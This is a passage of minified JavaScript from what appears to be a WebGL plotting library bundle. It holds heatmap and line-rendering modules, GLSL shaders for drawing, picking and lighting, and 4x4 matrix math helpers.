Te=(we-A[xe])/(A[xe+1]-A[xe]),Fe=1-Te,Oe=4*xe,Ce=4*(xe+1);ke=Fe*m[Oe]+Te*m[Ce],_e=Fe*m[Oe+1]+Te*m[Ce+1],be=Fe*m[Oe+2]+Te*m[Ce+2],ge=Fe*m[Oe+3]+Te*m[Ce+3]}G[4*fe]=255*ke,G[4*fe+1]=255*_e,G[4*fe+2]=255*be,G[4*fe+3]=255*ge,J[2*fe]=j*.5+K*.5,J[2*fe+1]=Y*.5+Q*.5,q[2*fe]=re,q[2*fe+1]=le,ne[fe]=V*O+ie,fe+=1}}}this.positionBuffer.update(J),this.weightBuffer.update(q),this.colorBuffer.update(G),this.idBuffer.update(ne),a.free(J),a.free(G),a.free(q),a.free(ne)},c.dispose=function(){this.shader.dispose(),this.pickShader.dispose(),this.positionBuffer.dispose(),this.weightBuffer.dispose(),this.colorBuffer.dispose(),this.idBuffer.dispose(),this.plot.removeObject(this)};function h(i,v){var T=i.gl,w=l(T,s.vertex,s.fragment),E=l(T,s.pickVertex,s.pickFragment),p=u(T),A=u(T),m=u(T),n=u(T),C=new y(i,w,E,p,A,m,n);return C.update(v),i.addObject(C),C}},1292:function(d,g,t){var r=t(6832);d.exports={fragment:r([`precision lowp float;
#define GLSLIFY 1
varying vec4 fragColor;
void main() {
  gl_FragColor = vec4(fragColor.rgb * fragColor.a, fragColor.a);
}
`]),vertex:r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 position;
attribute vec4 color;
attribute vec2 weight;

uniform vec2 shape;
uniform mat3 viewTransform;

varying vec4 fragColor;

void main() {
  vec3 vPosition = viewTransform * vec3( position + (weight-.5)/(shape-1.) , 1.0);
  fragColor = color;
  gl_Position = vec4(vPosition.xy, 0, vPosition.z);
}
`]),pickFragment:r([`precision mediump float;
#define GLSLIFY 1

varying vec4 fragId;
varying vec2 vWeight;

uniform vec2 shape;
uniform vec4 pickOffset;

void main() {
  vec2 d = step(.5, vWeight);
  vec4 id = fragId + pickOffset;
  id.x += d.x + d.y*shape.x;

  id.y += floor(id.x / 256.0);
  id.x -= floor(id.x / 256.0) * 256.0;

  id.z += floor(id.y / 256.0);
  id.y -= floor(id.y / 256.0) * 256.0;

  id.w += floor(id.z / 256.0);
  id.z -= floor(id.z / 256.0) * 256.0;

  gl_FragColor = id/255.;
}
`]),pickVertex:r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 position;
attribute vec4 pickId;
attribute vec2 weight;

uniform vec2 shape;
uniform mat3 viewTransform;

varying vec4 fragId;
varying vec2 vWeight;

void main() {
  vWeight = weight;

  fragId = pickId;

  vec3 vPosition = viewTransform * vec3( position + (weight-.5)/(shape-1.) , 1.0);
  gl_Position = vec4(vPosition.xy, 0, vPosition.z);
}
`])}},248:function(d,g,t){var r=t(6832),f=t(5158),a=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position, nextPosition;
attribute float arcLength, lineWidth;
attribute vec4 color;

uniform vec2 screenShape;
uniform float pixelRatio;
uniform mat4 model, view, projection;

varying vec4 fragColor;
varying vec3 worldPosition;
varying float pixelArcLength;

vec4 project(vec3 p) {
  return projection * view * model * vec4(p, 1.0);
}

void main() {
  vec4 startPoint = project(position);
  vec4 endPoint   = project(nextPosition);

  vec2 A = startPoint.xy / startPoint.w;
  vec2 B =   endPoint.xy /   endPoint.w;

  float clipAngle = atan(
    (B.y - A.y) * screenShape.y,
    (B.x - A.x) * screenShape.x
  );

  vec2 offset = 0.5 * pixelRatio * lineWidth * vec2(
    sin(clipAngle),
    -cos(clipAngle)
  ) / screenShape;

  gl_Position = vec4(startPoint.xy + startPoint.w * offset, startPoint.zw);

  worldPosition = position;
  pixelArcLength = arcLength;
  fragColor = color;
}
`]),l=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3      clipBounds[2];
uniform sampler2D dashTexture;
uniform float     dashScale;
uniform float     opacity;

varying vec3    worldPosition;
varying float   pixelArcLength;
varying vec4    fragColor;

void main() {
  if (
    outOfRange(clipBounds[0], clipBounds[1], worldPosition) ||
    fragColor.a * opacity == 0.
  ) discard;

  float dashWeight = texture2D(dashTexture, vec2(dashScale * pixelArcLength, 0)).r;
  if(dashWeight < 0.5) {
    discard;
  }
  gl_FragColor = fragColor * opacity;
}
`]),u=r([`precision highp float;
#define GLSLIFY 1

#define FLOAT_MAX  1.70141184e38
#define FLOAT_MIN  1.17549435e-38

// https://github.com/mikolalysenko/glsl-read-float/blob/master/index.glsl
vec4 packFloat(float v) {
  float av = abs(v);

  //Handle special cases
  if(av < FLOAT_MIN) {
    return vec4(0.0, 0.0, 0.0, 0.0);
  } else if(v > FLOAT_MAX) {
    return vec4(127.0, 128.0, 0.0, 0.0) / 255.0;
  } else if(v < -FLOAT_MAX) {
    return vec4(255.0, 128.0, 0.0, 0.0) / 255.0;
  }

  vec4 c = vec4(0,0,0,0);

  //Compute exponent and mantissa
  float e = floor(log2(av));
  float m = av * pow(2.0, -e) - 1.0;

  //Unpack mantissa
  c[1] = floor(128.0 * m);
  m -= c[1] / 128.0;
  c[2] = floor(32768.0 * m);
  m -= c[2] / 32768.0;
  c[3] = floor(8388608.0 * m);

  //Unpack exponent
  float ebias = e + 127.0;
  c[0] = floor(ebias / 2.0);
  ebias -= c[0] * 2.0;
  c[1] += floor(ebias) * 128.0;

  //Unpack sign bit
  c[0] += 128.0 * step(0.0, -v);

  //Scale back to range
  return c / 255.0;
}

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform float pickId;
uniform vec3 clipBounds[2];

varying vec3 worldPosition;
varying float pixelArcLength;
varying vec4 fragColor;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], worldPosition)) discard;

  gl_FragColor = vec4(pickId/255.0, packFloat(pixelArcLength).xyz);
}`]),s=[{name:"position",type:"vec3"},{name:"nextPosition",type:"vec3"},{name:"arcLength",type:"float"},{name:"lineWidth",type:"float"},{name:"color",type:"vec4"}];g.createShader=function(y){return f(y,a,l,null,s)},g.createPickShader=function(y){return f(y,a,u,null,s)}},6086:function(d,g,t){d.exports=m;var r=t(5827),f=t(2944),a=t(8931),l=new Uint8Array(4),u=new Float32Array(l.buffer);function s(n,C,x,I){return l[0]=I,l[1]=x,l[2]=C,l[3]=n,u[0]}var y=t(5070),c=t(5050),b=t(248),h=b.createShader,i=b.createPickShader,v=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];function T(n,C){for(var x=0,I=0;I<3;++I){var k=n[I]-C[I];x+=k*k}return Math.sqrt(x)}function w(n){for(var C=[[-1e6,-1e6,-1e6],[1e6,1e6,1e6]],x=0;x<3;++x)C[0][x]=Math.max(n[0][x],C[0][x]),C[1][x]=Math.min(n[1][x],C[1][x]);return C}function E(n,C,x,I){this.arcLength=n,this.position=C,this.index=x,this.dataCoordinate=I}function p(n,C,x,I,k,B){this.gl=n,this.shader=C,this.pickShader=x,this.buffer=I,this.vao=k,this.clipBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.points=[],this.arcLength=[],this.vertexCount=0,this.bounds=[[0,0,0],[0,0,0]],this.pickId=0,this.lineWidth=1,this.texture=B,this.dashScale=1,this.opacity=1,this.hasAlpha=!1,this.dirty=!0,this.pixelRatio=1}var A=p.prototype;A.isTransparent=function(){return this.hasAlpha},A.isOpaque=function(){return!this.hasAlpha},A.pickSlots=1,A.setPickBase=function(n){this.pickId=n},A.drawTransparent=A.draw=function(n){if(this.vertexCount){var C=this.gl,x=this.shader,I=this.vao;x.bind(),x.uniforms={model:n.model||v,view:n.view||v,projection:n.projection||v,clipBounds:w(this.clipBounds),dashTexture:this.texture.bind(),dashScale:this.dashScale/this.arcLength[this.arcLength.length-1],opacity:this.opacity,screenShape:[C.drawingBufferWidth,C.drawingBufferHeight],pixelRatio:this.pixelRatio},I.bind(),I.draw(C.TRIANGLE_STRIP,this.vertexCount),I.unbind()}},A.drawPick=function(n){if(this.vertexCount){var C=this.gl,x=this.pickShader,I=this.vao;x.bind(),x.uniforms={model:n.model||v,view:n.view||v,projection:n.projection||v,pickId:this.pickId,clipBounds:w(this.clipBounds),screenShape:[C.drawingBufferWidth,C.drawingBufferHeight],pixelRatio:this.pixelRatio},I.bind(),I.draw(C.TRIANGLE_STRIP,this.vertexCount),I.unbind()}},A.update=function(n){var C,x;this.dirty=!0;var I=!!n.connectGaps;"dashScale"in n&&(this.dashScale=n.dashScale),this.hasAlpha=!1,"opacity"in n&&(this.opacity=+n.opacity,this.opacity<1&&(this.hasAlpha=!0));var k=[],B=[],_=[],F=0,O=0,z=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],N=n.position||n.positions;if(N){var G=n.color||n.colors||[0,0,0,1],J=n.lineWidth||1,q=!1;e:for(C=1;C<N.length;++C){var ne=N[C-1],fe=N[C];for(B.push(F),_.push(ne.slice()),x=0;x<3;++x){if(isNaN(ne[x])||isNaN(fe[x])||!isFinite(ne[x])||!isFinite(fe[x])){if(!I&&k.length>0){for(var X=0;X<24;++X)k.push(k[k.length-12]);O+=2,q=!0}continue e}z[0][x]=Math.min(z[0][x],ne[x],fe[x]),z[1][x]=Math.max(z[1][x],ne[x],fe[x])}var W,V;Array.isArray(G[0])?(W=G.length>C-1?G[C-1]:G.length>0?G[G.length-1]:[0,0,0,1],V=G.length>C?G[C]:G.length>0?G[G.length-1]:[0,0,0,1]):W=V=G,W.length===3&&(W=[W[0],W[1],W[2],1]),V.length===3&&(V=[V[0],V[1],V[2],1]),!this.hasAlpha&&W[3]<1&&(this.hasAlpha=!0);var Y;Array.isArray(J)?Y=J.length>C-1?J[C-1]:J.length>0?J[J.length-1]:[0,0,0,1]:Y=J;var Q=F;if(F+=T(ne,fe),q){for(x=0;x<2;++x)k.push(ne[0],ne[1],ne[2],fe[0],fe[1],fe[2],Q,Y,W[0],W[1],W[2],W[3]);O+=2,q=!1}k.push(ne[0],ne[1],ne[2],fe[0],fe[1],fe[2],Q,Y,W[0],W[1],W[2],W[3],ne[0],ne[1],ne[2],fe[0],fe[1],fe[2],Q,-Y,W[0],W[1],W[2],W[3],fe[0],fe[1],fe[2],ne[0],ne[1],ne[2],F,-Y,V[0],V[1],V[2],V[3],fe[0],fe[1],fe[2],ne[0],ne[1],ne[2],F,Y,V[0],V[1],V[2],V[3]),O+=4}}if(this.buffer.update(k),B.push(F),_.push(N[N.length-1].slice()),this.bounds=z,this.vertexCount=O,this.points=_,this.arcLength=B,"dashes"in n){var ie=n.dashes,j=ie.slice();for(j.unshift(0),C=1;C<j.length;++C)j[C]=j[C-1]+j[C];var K=c(new Array(256*4),[256,1,4]);for(C=0;C<256;++C){for(x=0;x<4;++x)K.set(C,0,x,0);y.le(j,j[j.length-1]*C/255)&1?K.set(C,0,0,0):K.set(C,0,0,255)}this.texture.setPixels(K)}},A.dispose=function(){this.shader.dispose(),this.vao.dispose(),this.buffer.dispose()},A.pick=function(n){if(!n||n.id!==this.pickId)return null;var C=s(n.value[0],n.value[1],n.value[2],0),x=y.le(this.arcLength,C);if(x<0)return null;if(x===this.arcLength.length-1)return new E(this.arcLength[this.arcLength.length-1],this.points[this.points.length-1].slice(),x);for(var I=this.points[x],k=this.points[Math.min(x+1,this.points.length-1)],B=(C-this.arcLength[x])/(this.arcLength[x+1]-this.arcLength[x]),_=1-B,F=[0,0,0],O=0;O<3;++O)F[O]=_*I[O]+B*k[O];var z=Math.min(B<.5?x:x+1,this.points.length-1);return new E(C,F,z,this.points[z])};function m(n){var C=n.gl||n.scene&&n.scene.gl,x=h(C);x.attributes.position.location=0,x.attributes.nextPosition.location=1,x.attributes.arcLength.location=2,x.attributes.lineWidth.location=3,x.attributes.color.location=4;var I=i(C);I.attributes.position.location=0,I.attributes.nextPosition.location=1,I.attributes.arcLength.location=2,I.attributes.lineWidth.location=3,I.attributes.color.location=4;for(var k=r(C),B=f(C,[{buffer:k,size:3,offset:0,stride:48},{buffer:k,size:3,offset:12,stride:48},{buffer:k,size:1,offset:24,stride:48},{buffer:k,size:1,offset:28,stride:48},{buffer:k,size:4,offset:32,stride:48}]),_=c(new Array(256*4),[256,1,4]),F=0;F<1024;++F)_.data[F]=255;var O=a(C,_);O.wrap=C.REPEAT;var z=new p(C,x,I,k,B,O);return z.update(n),z}},7332:function(d){d.exports=g;function g(t){var r=new Float32Array(16);return r[0]=t[0],r[1]=t[1],r[2]=t[2],r[3]=t[3],r[4]=t[4],r[5]=t[5],r[6]=t[6],r[7]=t[7],r[8]=t[8],r[9]=t[9],r[10]=t[10],r[11]=t[11],r[12]=t[12],r[13]=t[13],r[14]=t[14],r[15]=t[15],r}},9823:function(d){d.exports=g;function g(){var t=new Float32Array(16);return t[0]=1,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=1,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=1,t[11]=0,t[12]=0,t[13]=0,t[14]=0,t[15]=1,t}},7787:function(d){d.exports=g;function g(t){var r=t[0],f=t[1],a=t[2],l=t[3],u=t[4],s=t[5],y=t[6],c=t[7],b=t[8],h=t[9],i=t[10],v=t[11],T=t[12],w=t[13],E=t[14],p=t[15],A=r*s-f*u,m=r*y-a*u,n=r*c-l*u,C=f*y-a*s,x=f*c-l*s,I=a*c-l*y,k=b*w-h*T,B=b*E-i*T,_=b*p-v*T,F=h*E-i*w,O=h*p-v*w,z=i*p-v*E;return A*z-m*O+n*F+C*_-x*B+I*k}},5950:function(d){d.exports=g;function g(t,r){var f=r[0],a=r[1],l=r[2],u=r[3],s=f+f,y=a+a,c=l+l,b=f*s,h=a*s,i=a*y,v=l*s,T=l*y,w=l*c,E=u*s,p=u*y,A=u*c;return t[0]=1-i-w,t[1]=h+A,t[2]=v-p,t[3]=0,t[4]=h-A,t[5]=1-b-w,t[6]=T+E,t[7]=0,t[8]=v+p,t[9]=T-E,t[10]=1-b-i,t[11]=0,t[12]=0,t[13]=0,t[14]=0,t[15]=1,t}},7280:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=r[3],y=a+a,c=l+l,b=u+u,h=a*y,i=a*c,v=a*b,T=l*c,w=l*b,E=u*b,p=s*y,A=s*c,m=s*b;return t[0]=1-(T+E),t[1]=i+m,t[2]=v-A,t[3]=0,t[4]=i-m,t[5]=1-(h+E),t[6]=w+p,t[7]=0,t[8]=v+A,t[9]=w-p,t[10]=1-(h+T),t[11]=0,t[12]=f[0],t[13]=f[1],t[14]=f[2],t[15]=1,t}},9947:function(d){d.exports=g;function g(t){return t[0]=1,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=1,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=1,t[11]=0,t[12]=0,t[13]=0,t[14]=0,t[15]=1,t}},7437:function(d){d.exports=g;function g(t,r){var f=r[0],a=r[1],l=r[2],u=r[3],s=r[4],y=r[5],c=r[6],b=r[7],h=r[8],i=r[9],v=r[10],T=r[11],w=r[12],E=r[13],p=r[14],A=r[15],m=f*y-a*s,n=f*c-l*s,C=f*b-u*s,x=a*c-l*y,I=a*b-u*y,k=l*b-u*c,B=h*E-i*w,_=h*p-v*w,F=h*A-T*w,O=i*p-v*E,z=i*A-T*E,N=v*A-T*p,G=m*N-n*z+C*O+x*F-I*_+k*B;return G?(G=1/G,t[0]=(y*N-c*z+b*O)*G,t[1]=(l*z-a*N-u*O)*G,t[2]=(E*k-p*I+A*x)*G,t[3]=(v*I-i*k-T*x)*G,t[4]=(c*F-s*N-b*_)*G,t[5]=(f*N-l*F+u*_)*G,t[6]=(p*C-w*k-A*n)*G,t[7]=(h*k-v*C+T*n)*G,t[8]=(s*z-y*F+b*B)*G,t[9]=(a*F-f*z-u*B)*G,t[10]=(w*I-E*C+A*m)*G,t[11]=(i*C-h*I-T*m)*G,t[12]=(y*_-s*O-c*B)*G,t[13]=(f*O-a*_+l*B)*G,t[14]=(E*n-w*x-p*m)*G,t[15]=(h*x-i*n+v*m)*G,t):null}},3012:function(d,g,t){var r=t(9947);d.exports=f;function f(a,l,u,s){var y,c,b,h,i,v,T,w,E,p,A=l[0],m=l[1],n=l[2],C=s[0],x=s[1],I=s[2],k=u[0],B=u[1],_=u[2];return Math.abs(A-k)<1e-6&&Math.abs(m-B)<1e-6&&Math.abs(n-_)<1e-6?r(a):(T=A-k,w=m-B,E=n-_,p=1/Math.sqrt(T*T+w*w+E*E),T*=p,w*=p,E*=p,y=x*E-I*w,c=I*T-C*E,b=C*w-x*T,p=Math.sqrt(y*y+c*c+b*b),p?(p=1/p,y*=p,c*=p,b*=p):(y=0,c=0,b=0),h=w*b-E*c,i=E*y-T*b,v=T*c-w*y,p=Math.sqrt(h*h+i*i+v*v),p?(p=1/p,h*=p,i*=p,v*=p):(h=0,i=0,v=0),a[0]=y,a[1]=h,a[2]=T,a[3]=0,a[4]=c,a[5]=i,a[6]=w,a[7]=0,a[8]=b,a[9]=v,a[10]=E,a[11]=0,a[12]=-(y*A+c*m+b*n),a[13]=-(h*A+i*m+v*n),a[14]=-(T*A+w*m+E*n),a[15]=1,a)}},104:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=r[3],y=r[4],c=r[5],b=r[6],h=r[7],i=r[8],v=r[9],T=r[10],w=r[11],E=r[12],p=r[13],A=r[14],m=r[15],n=f[0],C=f[1],x=f[2],I=f[3];return t[0]=n*a+C*y+x*i+I*E,t[1]=n*l+C*c+x*v+I*p,t[2]=n*u+C*b+x*T+I*A,t[3]=n*s+C*h+x*w+I*m,n=f[4],C=f[5],x=f[6],I=f[7],t[4]=n*a+C*y+x*i+I*E,t[5]=n*l+C*c+x*v+I*p,t[6]=n*u+C*b+x*T+I*A,t[7]=n*s+C*h+x*w+I*m,n=f[8],C=f[9],x=f[10],I=f[11],t[8]=n*a+C*y+x*i+I*E,t[9]=n*l+C*c+x*v+I*p,t[10]=n*u+C*b+x*T+I*A,t[11]=n*s+C*h+x*w+I*m,n=f[12],C=f[13],x=f[14],I=f[15],t[12]=n*a+C*y+x*i+I*E,t[13]=n*l+C*c+x*v+I*p,t[14]=n*u+C*b+x*T+I*A,t[15]=n*s+C*h+x*w+I*m,t}},5268:function(d){d.exports=g;function g(t,r,f,a,l,u,s){var y=1/(r-f),c=1/(a-l),b=1/(u-s);return t[0]=-2*y,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=-2*c,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=2*b,t[11]=0,t[12]=(r+f)*y,t[13]=(l+a)*c,t[14]=(s+u)*b,t[15]=1,t}},1120:function(d){d.exports=g;function g(t,r,f,a,l){var u=1/Math.tan(r/2),s=1/(a-l);return t[0]=u/f,t[1]=0,t[2]=0,t[3]=0,t[4]=0,t[5]=u,t[6]=0,t[7]=0,t[8]=0,t[9]=0,t[10]=(l+a)*s,t[11]=-1,t[12]=0,t[13]=0,t[14]=2*l*a*s,t[15]=0,t}},4422:function(d){d.exports=g;function g(t,r,f,a){var l=a[0],u=a[1],s=a[2],y=Math.sqrt(l*l+u*u+s*s),c,b,h,i,v,T,w,E,p,A,m,n,C,x,I,k,B,_,F,O,z,N,G,J;return Math.abs(y)<1e-6?null:(y=1/y,l*=y,u*=y,s*=y,c=Math.sin(f),b=Math.cos(f),h=1-b,i=r[0],v=r[1],T=r[2],w=r[3],E=r[4],p=r[5],A=r[6],m=r[7],n=r[8],C=r[9],x=r[10],I=r[11],k=l*l*h+b,B=u*l*h+s*c,_=s*l*h-u*c,F=l*u*h-s*c,O=u*u*h+b,z=s*u*h+l*c,N=l*s*h+u*c,G=u*s*h-l*c,J=s*s*h+b,t[0]=i*k+E*B+n*_,t[1]=v*k+p*B+C*_,t[2]=T*k+A*B+x*_,t[3]=w*k+m*B+I*_,t[4]=i*F+E*O+n*z,t[5]=v*F+p*O+C*z,t[6]=T*F+A*O+x*z,t[7]=w*F+m*O+I*z,t[8]=i*N+E*G+n*J,t[9]=v*N+p*G+C*J,t[10]=T*N+A*G+x*J,t[11]=w*N+m*G+I*J,r!==t&&(t[12]=r[12],t[13]=r[13],t[14]=r[14],t[15]=r[15]),t)}},6109:function(d){d.exports=g;function g(t,r,f){var a=Math.sin(f),l=Math.cos(f),u=r[4],s=r[5],y=r[6],c=r[7],b=r[8],h=r[9],i=r[10],v=r[11];return r!==t&&(t[0]=r[0],t[1]=r[1],t[2]=r[2],t[3]=r[3],t[12]=r[12],t[13]=r[13],t[14]=r[14],t[15]=r[15]),t[4]=u*l+b*a,t[5]=s*l+h*a,t[6]=y*l+i*a,t[7]=c*l+v*a,t[8]=b*l-u*a,t[9]=h*l-s*a,t[10]=i*l-y*a,t[11]=v*l-c*a,t}},7115:function(d){d.exports=g;function g(t,r,f){var a=Math.sin(f),l=Math.cos(f),u=r[0],s=r[1],y=r[2],c=r[3],b=r[8],h=r[9],i=r[10],v=r[11];return r!==t&&(t[4]=r[4],t[5]=r[5],t[6]=r[6],t[7]=r[7],t[12]=r[12],t[13]=r[13],t[14]=r[14],t[15]=r[15]),t[0]=u*l-b*a,t[1]=s*l-h*a,t[2]=y*l-i*a,t[3]=c*l-v*a,t[8]=u*a+b*l,t[9]=s*a+h*l,t[10]=y*a+i*l,t[11]=c*a+v*l,t}},5240:function(d){d.exports=g;function g(t,r,f){var a=Math.sin(f),l=Math.cos(f),u=r[0],s=r[1],y=r[2],c=r[3],b=r[4],h=r[5],i=r[6],v=r[7];return r!==t&&(t[8]=r[8],t[9]=r[9],t[10]=r[10],t[11]=r[11],t[12]=r[12],t[13]=r[13],t[14]=r[14],t[15]=r[15]),t[0]=u*l+b*a,t[1]=s*l+h*a,t[2]=y*l+i*a,t[3]=c*l+v*a,t[4]=b*l-u*a,t[5]=h*l-s*a,t[6]=i*l-y*a,t[7]=v*l-c*a,t}},3668:function(d){d.exports=g;function g(t,r,f){var a=f[0],l=f[1],u=f[2];return t[0]=r[0]*a,t[1]=r[1]*a,t[2]=r[2]*a,t[3]=r[3]*a,t[4]=r[4]*l,t[5]=r[5]*l,t[6]=r[6]*l,t[7]=r[7]*l,t[8]=r[8]*u,t[9]=r[9]*u,t[10]=r[10]*u,t[11]=r[11]*u,t[12]=r[12],t[13]=r[13],t[14]=r[14],t[15]=r[15],t}},998:function(d){d.exports=g;function g(t,r,f){var a=f[0],l=f[1],u=f[2],s,y,c,b,h,i,v,T,w,E,p,A;return r===t?(t[12]=r[0]*a+r[4]*l+r[8]*u+r[12],t[13]=r[1]*a+r[5]*l+r[9]*u+r[13],t[14]=r[2]*a+r[6]*l+r[10]*u+r[14],t[15]=r[3]*a+r[7]*l+r[11]*u+r[15]):(s=r[0],y=r[1],c=r[2],b=r[3],h=r[4],i=r[5],v=r[6],T=r[7],w=r[8],E=r[9],p=r[10],A=r[11],t[0]=s,t[1]=y,t[2]=c,t[3]=b,t[4]=h,t[5]=i,t[6]=v,t[7]=T,t[8]=w,t[9]=E,t[10]=p,t[11]=A,t[12]=s*a+h*l+w*u+r[12],t[13]=y*a+i*l+E*u+r[13],t[14]=c*a+v*l+p*u+r[14],t[15]=b*a+T*l+A*u+r[15]),t}},2142:function(d){d.exports=g;function g(t,r){if(t===r){var f=r[1],a=r[2],l=r[3],u=r[6],s=r[7],y=r[11];t[1]=r[4],t[2]=r[8],t[3]=r[12],t[4]=f,t[6]=r[9],t[7]=r[13],t[8]=a,t[9]=u,t[11]=r[14],t[12]=l,t[13]=s,t[14]=y}else t[0]=r[0],t[1]=r[4],t[2]=r[8],t[3]=r[12],t[4]=r[1],t[5]=r[5],t[6]=r[9],t[7]=r[13],t[8]=r[2],t[9]=r[6],t[10]=r[10],t[11]=r[14],t[12]=r[3],t[13]=r[7],t[14]=r[11],t[15]=r[15];return t}},4340:function(d,g,t){var r=t(957),f=t(7309);d.exports=y;function a(c,b){for(var h=[0,0,0,0],i=0;i<4;++i)for(var v=0;v<4;++v)h[v]+=c[4*i+v]*b[i];return h}function l(c,b,h,i,v){for(var T=a(i,a(h,a(b,[c[0],c[1],c[2],1]))),w=0;w<3;++w)T[w]/=T[3];return[.5*v[0]*(1+T[0]),.5*v[1]*(1-T[1])]}function u(c,b){if(c.length===2){for(var h=0,i=0,v=0;v<2;++v)h+=Math.pow(b[v]-c[0][v],2),i+=Math.pow(b[v]-c[1][v],2);return h=Math.sqrt(h),i=Math.sqrt(i),h+i<1e-6?[1,0]:[i/(h+i),h/(i+h)]}else if(c.length===3){var T=[0,0];return f(c[0],c[1],c[2],b,T),r(c,T)}return[]}function s(c,b){for(var h=[0,0,0],i=0;i<c.length;++i)for(var v=c[i],T=b[i],w=0;w<3;++w)h[w]+=T*v[w];return h}function y(c,b,h,i,v,T){if(c.length===1)return[0,c[0].slice()];for(var w=new Array(c.length),E=0;E<c.length;++E)w[E]=l(c[E],h,i,v,T);for(var p=0,A=1/0,E=0;E<w.length;++E){for(var m=0,n=0;n<2;++n)m+=Math.pow(w[E][n]-b[n],2);m<A&&(A=m,p=E)}for(var C=u(w,b),x=0,E=0;E<3;++E){if(C[E]<-.001||C[E]>1.0001)return null;x+=C[E]}return Math.abs(x-1)>.001?null:[p,s(c,C),C]}},2056:function(d,g,t){var r=t(6832),f=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position, normal;
attribute vec4 color;
attribute vec2 uv;

uniform mat4 model
           , view
           , projection
           , inverseModel;
uniform vec3 eyePosition
           , lightPosition;

varying vec3 f_normal
           , f_lightDirection
           , f_eyeDirection
           , f_data;
varying vec4 f_color;
varying vec2 f_uv;

vec4 project(vec3 p) {
  return projection * view * model * vec4(p, 1.0);
}

void main() {
  gl_Position      = project(position);

  //Lighting geometry parameters
  vec4 cameraCoordinate = view * vec4(position , 1.0);
  cameraCoordinate.xyz /= cameraCoordinate.w;
  f_lightDirection = lightPosition - cameraCoordinate.xyz;
  f_eyeDirection   = eyePosition - cameraCoordinate.xyz;
  f_normal  = normalize((vec4(normal, 0.0) * inverseModel).xyz);

  f_color          = color;
  f_data           = position;
  f_uv             = uv;
}
`]),a=r([`#extension GL_OES_standard_derivatives : enable

precision highp float;
#define GLSLIFY 1

float beckmannDistribution(float x, float roughness) {
  float NdotH = max(x, 0.0001);
  float cos2Alpha = NdotH * NdotH;
  float tan2Alpha = (cos2Alpha - 1.0) / cos2Alpha;
  float roughness2 = roughness * roughness;
  float denom = 3.141592653589793 * roughness2 * cos2Alpha * cos2Alpha;
  return exp(tan2Alpha / roughness2) / denom;
}

float cookTorranceSpecular(
  vec3 lightDirection,
  vec3 viewDirection,
  vec3 surfaceNormal,
  float roughness,
  float fresnel) {

  float VdotN = max(dot(viewDirection, surfaceNormal), 0.0);
  float LdotN = max(dot(lightDirection, surfaceNormal), 0.0);

  //Half angle vector
  vec3 H = normalize(lightDirection + viewDirection);

  //Geometric term
  float NdotH = max(dot(surfaceNormal, H), 0.0);
  float VdotH = max(dot(viewDirection, H), 0.000001);
  float LdotH = max(dot(lightDirection, H), 0.000001);
  float G1 = (2.0 * NdotH * VdotN) / VdotH;
  float G2 = (2.0 * NdotH * LdotN) / LdotH;
  float G = min(1.0, min(G1, G2));
  
  //Distribution term
  float D = beckmannDistribution(NdotH, roughness);

  //Fresnel term
  float F = pow(1.0 - VdotN, fresnel);

  //Multiply terms and done
  return  G * F * D / max(3.14159265 * VdotN, 0.000001);
}

//#pragma glslify: beckmann = require(glsl-specular-beckmann) // used in gl-surface3d

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 clipBounds[2];
uniform float roughness
            , fresnel
            , kambient
            , kdiffuse
            , kspecular;
uniform sampler2D texture;

varying vec3 f_normal
           , f_lightDirection
           , f_eyeDirection
           , f_data;
varying vec4 f_color;
varying vec2 f_uv;

void main() {
  if (f_color.a == 0.0 ||
    outOfRange(clipBounds[0], clipBounds[1], f_data)
  ) discard;

  vec3 N = normalize(f_normal);
  vec3 L = normalize(f_lightDirection);
  vec3 V = normalize(f_eyeDirection);

  if(gl_FrontFacing) {
    N = -N;
  }

  float specular = min(1.0, max(0.0, cookTorranceSpecular(L, V, N, roughness, fresnel)));
  //float specular = max(0.0, beckmann(L, V, N, roughness)); // used in gl-surface3d

  float diffuse  = min(kambient + kdiffuse * max(dot(N, L), 0.0), 1.0);

